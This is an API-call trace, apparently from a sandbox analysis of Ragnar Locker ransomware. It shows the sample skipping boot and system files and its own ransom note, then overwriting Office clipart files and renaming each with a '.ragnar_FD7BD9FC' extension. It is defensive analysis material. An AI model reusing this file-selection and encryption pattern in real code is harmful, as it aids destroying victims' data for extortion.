GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.297] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107468.WMF" | out: lpString1="J0107468.WMF") returned="J0107468.WMF" [0084.297] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned=".WMF" [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="autorun.inf") returned 1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="boot.ini") returned 1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="bootfont.bin") returned 1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="bootsect.bak") returned 1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="bootmgr") returned 1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="bootmgr.efi") returned 1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="bootmgfw.efi") returned 1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="desktop.ini") returned 1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="iconcache.db") returned 1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="ntldr") returned -1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="ntuser.dat") returned -1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="ntuser.dat.log") returned -1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="ntuser.ini") returned -1 [0084.297] lstrcmpiW (lpString1="J0107468.WMF", lpString2="thumbs.db") returned -1 [0084.297] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.297] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.297] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.297] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.297] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.297] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.298] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 0x20 [0084.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.298] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9612) returned 1 [0084.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2583, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.298] GetProcessHeap () returned 0x580000 [0084.298] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.298] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.300] VirtualAlloc (lpAddress=0x0, dwSize=0x258c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.300] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.300] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.300] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x258c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x258c, lpOverlapped=0x0) returned 1 [0084.301] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.301] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x258c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.301] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x258c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x258c, lpOverlapped=0x0) returned 1 [0084.301] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x258c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.301] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.302] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x258c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.302] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.302] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.302] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.302] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.302] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.302] GetProcessHeap () returned 0x580000 [0084.302] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.302] CloseHandle (hObject=0xf4) returned 1 [0084.305] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" [0084.305] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.ragnar_FD7BD9FC" [0084.305] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.306] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1 [0084.306] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.306] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107480.WMF" | out: lpString1="J0107480.WMF") returned="J0107480.WMF" [0084.306] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned=".WMF" [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="autorun.inf") returned 1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="boot.ini") returned 1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="bootfont.bin") returned 1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="bootsect.bak") returned 1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="bootmgr") returned 1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="bootmgr.efi") returned 1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="bootmgfw.efi") returned 1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="desktop.ini") returned 1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="iconcache.db") returned 1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="ntldr") returned -1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="ntuser.dat") returned -1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="ntuser.dat.log") returned -1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="ntuser.ini") returned -1 [0084.306] lstrcmpiW (lpString1="J0107480.WMF", lpString2="thumbs.db") returned -1 [0084.306] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.306] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.306] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.306] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.306] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.306] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.306] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 0x20 [0084.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.307] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6024) returned 1 [0084.307] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x177f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.307] GetProcessHeap () returned 0x580000 [0084.307] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.307] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.308] VirtualAlloc (lpAddress=0x0, dwSize=0x1788, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.309] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1788, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1788, lpOverlapped=0x0) returned 1 [0084.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.310] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1788, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.310] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1788, lpOverlapped=0x0) returned 1 [0084.310] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1788, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.310] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.310] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1788, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.310] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.310] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.310] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.310] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.310] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.310] GetProcessHeap () returned 0x580000 [0084.311] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.311] CloseHandle (hObject=0xf4) returned 1 [0084.311] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" [0084.311] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.ragnar_FD7BD9FC" [0084.311] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.311] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1 [0084.311] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.311] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107482.WMF" | out: lpString1="J0107482.WMF") returned="J0107482.WMF" [0084.311] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned=".WMF" [0084.311] lstrcmpiW (lpString1="J0107482.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.311] lstrcmpiW (lpString1="J0107482.WMF", lpString2="autorun.inf") returned 1 [0084.311] lstrcmpiW (lpString1="J0107482.WMF", lpString2="boot.ini") returned 1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="bootfont.bin") returned 1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="bootsect.bak") returned 1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="bootmgr") returned 1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="bootmgr.efi") returned 1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="bootmgfw.efi") returned 1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="desktop.ini") returned 1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="iconcache.db") returned 1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="ntldr") returned -1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="ntuser.dat") returned -1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="ntuser.dat.log") returned -1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="ntuser.ini") returned -1 [0084.312] lstrcmpiW (lpString1="J0107482.WMF", lpString2="thumbs.db") returned -1 [0084.312] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.312] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.312] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.312] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.312] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.312] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.312] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 0x20 [0084.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.312] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4980) returned 1 [0084.312] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x136b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.313] GetProcessHeap () returned 0x580000 [0084.313] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.313] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.314] VirtualAlloc (lpAddress=0x0, dwSize=0x1374, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.314] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.314] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.314] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1374, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1374, lpOverlapped=0x0) returned 1 [0084.315] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.315] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1374, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.315] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1374, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1374, lpOverlapped=0x0) returned 1 [0084.315] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1374, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.316] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.316] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.316] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.316] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.316] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.316] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.316] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.316] GetProcessHeap () returned 0x580000 [0084.316] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.316] CloseHandle (hObject=0xf4) returned 1 [0084.316] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" [0084.316] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.ragnar_FD7BD9FC" [0084.316] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1 [0084.317] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.317] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107484.WMF" | out: lpString1="J0107484.WMF") returned="J0107484.WMF" [0084.317] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned=".WMF" [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="autorun.inf") returned 1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="boot.ini") returned 1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="bootfont.bin") returned 1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="bootsect.bak") returned 1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", 